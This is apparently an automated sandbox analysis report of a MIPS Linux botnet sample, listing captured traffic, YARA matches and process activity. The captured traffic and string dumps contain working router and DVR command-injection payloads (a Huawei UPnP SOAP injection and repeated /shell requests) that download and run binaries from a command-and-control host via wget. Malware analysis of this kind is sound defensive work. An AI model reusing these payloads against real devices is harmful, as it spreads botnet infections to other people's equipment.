HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 66 65 61 72 66 75 6c 63 61 74 73 2e 74 6b 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6e 6f 74 61 62 6f 74 6e 65 74 2f 6e 6f 74 61 62 6f 74 6e 65 74 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.fearfulcats.tk -l /tmp/binary -r /notabotnet/notabotnet.mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: unknown

DNS traffic detected: queries for: cnc.fearfulcats.tk

Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;wget+http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7+-O+p2d;+chmod+777+p2d;./p2d+jaws HTTP/1.1User-Agent: Hello, peeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive

Source: notabotnet.mips, type: SAMPLE	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6232.1.00007feda045a000.00007feda045b000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6228.1.00007feda045a000.00007feda045b000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6226.1.00007feda0400000.00007feda0419000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6228.1.00007feda0400000.00007feda0419000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6226.1.00007feda045a000.00007feda045b000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6232.1.00007feda0400000.00007feda0419000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: Process Memory Space: notabotnet.mips PID: 6226, type: MEMORYSTR	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: Process Memory Space: notabotnet.mips PID: 6228, type: MEMORYSTR	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: Process Memory Space: notabotnet.mips PID: 6232, type: MEMORYSTR	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13

Source: ELF static info symbol of initial sample

.symtab present: no

Source: Initial sample

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.fearfulcats.tk -l /tmp/binary -r /notabotnet/notabotnet.mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: classification engine

Classification label: mal88.troj.linMIPS@0/0@1/0

Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1582/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/2033/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1612/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1579/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1699/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1335/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1698/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/2028/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1334/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1576/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/2025/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/2146/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/910/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/912/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/517/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/759/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/918/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1594/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1349/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1623/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/761/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1622/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/884/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1983/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/2038/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1344/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1465/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1586/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1860/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1463/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/2156/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/800/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/801/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1629/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1627/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1900/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/491/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/2050/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1877/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/772/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1633/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1599/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1632/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/774/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1477/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/654/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/896/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1476/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1872/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/2048/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/655/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1475/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/656/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/777/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/657/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/658/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/419/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/936/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1639/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1638/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1809/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1494/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1890/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/2063/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/2062/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1888/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1886/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/420/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1489/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/785/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1642/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/788/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/667/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/789/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1648/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/2078/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/2077/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/2074/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/670/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/793/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1656/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1654/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/674/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1532/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/796/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/675/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/797/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/676/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/677/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/2069/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/2102/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/799/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/2080/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/2084/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/2083/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1668/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1664/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1389/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/720/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/2114/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/721/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/1661/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/2079/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/847/maps
Source: /tmp/notabotnet.mips (PID: 6233)	File opened: /proc/2097/maps

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 52826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41908 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 47168 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 41908 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 52826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41908 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 52826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41908 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 41654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53300 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47596 -> 37215
